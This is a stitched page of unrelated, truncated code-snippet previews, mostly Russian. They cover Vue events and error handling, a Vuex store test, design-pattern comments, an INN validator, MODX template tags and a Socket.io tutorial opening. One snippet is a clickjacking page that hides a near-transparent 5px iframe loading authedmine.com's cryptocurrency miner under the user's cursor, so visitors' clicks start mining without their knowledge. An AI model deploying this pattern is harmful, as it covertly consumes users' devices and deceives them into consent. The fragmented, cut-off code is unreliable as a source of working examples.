В потомке подписываемся на некое событие через $parent.$on('some-event').
В родителе емитим это событие.
<div id="app">
<my-component></my-component>
<button @click="click">Click</button>
| /* учитывайте, что глобальный метод window.onerror | |
| не будет ловить исключения без Vue.config.errorHandler */ | |
| Vue.config.errorHandler = (error, vm, info) => { | |
| return middlewareErrorHandler(error, info); | |
| } | |
| // сюда попадут все ошибки, которые находятся за пределами исполнения Vue | |
| window.onerror = ( | |
| message, |
| import _ from "lodash" | |
| import Vuex from "vuex" | |
| import { createLocalVue } from "@vue/test-utils" | |
| describe("store/movies", () => { | |
| // ---------------------------------------------------- | |
| // focus on the code from here... | |
| const localVue = createLocalVue() | |
| localVue.use(Vuex) | |
| let NuxtStore |
| /** | |
| * | |
| * ПАТТЕРН ЦЕПОЧКА ОБЯЗАННОСТЕЙ (Chain of responsibility) | |
| * | |
| * Паттерн ЦЕПОЧКА ОБЯЗАННОСТЕЙ - это поведенческий паттерн проектирования, который позволяет передавать запросы | |
| * последовательно по цепочке обработчиков. Каждый последующий обработчик решает, может ли он обработать запрос сам | |
| * и стоит ли передавать запрос дальше по цепи. | |
| * | |
| * Пример: у вас есть три счета (A, B, C) с разными суммами и разным приоритетом использования. Сначала проверяется A, | |
| * если на нем достаточно денег для покупки, то цепочка прерывается. Иначе проверяется B, затем C. Цепь будет |
| /** | |
| * | |
| * ПАТТЕРН МОСТ (bridge) | |
| * | |
| * Паттерн МОСТ - отделяет абстракцию от реализации, благодаря чему появляется возможность независимо изменять то и | |
| * другое. Это структурный паттерн проектирования, который разделяет один или несколько классов на две отдельные | |
| * иерархии — абстракцию и реализацию, позволяя изменять их независимо друг от друга. | |
| * Например у нас есть класс Круг, и мы хотим создавать круги разного цвета, для этого нужно будет создать подклассы | |
| * Синий Круг, Желтый круг и т.д. А если потом появятся квадраты и треугольники, то для них тоже нужно будет создавать | |
| * большое количество подклассов. В итоге иерархия будет огромной. Логичнее создать две независимых иерархии - |
| // проверка ИНН | |
| function isInnValid(inn){ | |
| inn = String(inn).replace(/[^0-9]+/g, '').split(''); | |
| if ( inn.length == 10 ) { | |
| return inn[9] == String((( | |
| 2*inn[0] + 4*inn[1] + 10*inn[2] + | |
| 3*inn[3] + 5*inn[4] + 9*inn[5] + | |
| 4*inn[6] + 6*inn[7] + 8*inn[8] | |
| ) % 11) % 10); | |
| } |
| <html> | |
| <body> | |
| <div id="container" style="border:0;margin:0;position:absolute;width:5px;height:5px;overflow:hidden;cursor:pointer;opacity:0.01"> | |
| <iframe style="position:absolute;border:0;width:5px;height:100px;top:-85px;cursor:pointer;" src="https://authedmine.com/media/miner.html?key=your_public_key"></iframe> | |
| </div> | |
| </body> | |
| <script> | |
| window.onmousemove = function(e) { | |
| var container = document.getElementById("container"); |
| //Условие IF | |
| {$id == '1' ? '' : $url} | |
| //Получение изображения через переменную с точкой ($_pls) | |
| {$_pls["tv.img"] | phpthumbon : "w=300&h=200&zc=1"} | |
| //Без префикса | |
| {$img | phpthumbon : "w=300&h=200&zc=1"} | |
| //Информация о прозводителе | |
| {$_modx->makeUrl($_pls['vendor.resource'])} |
Socket.io integration between an Express and Angular app is a breeze. I'll outline the Express implementation first, then outline Angular integration.
npm install socket.io --save and then reference socket.io in your layout.jade file:
doctype html
html(ng-app="example")
head
title= title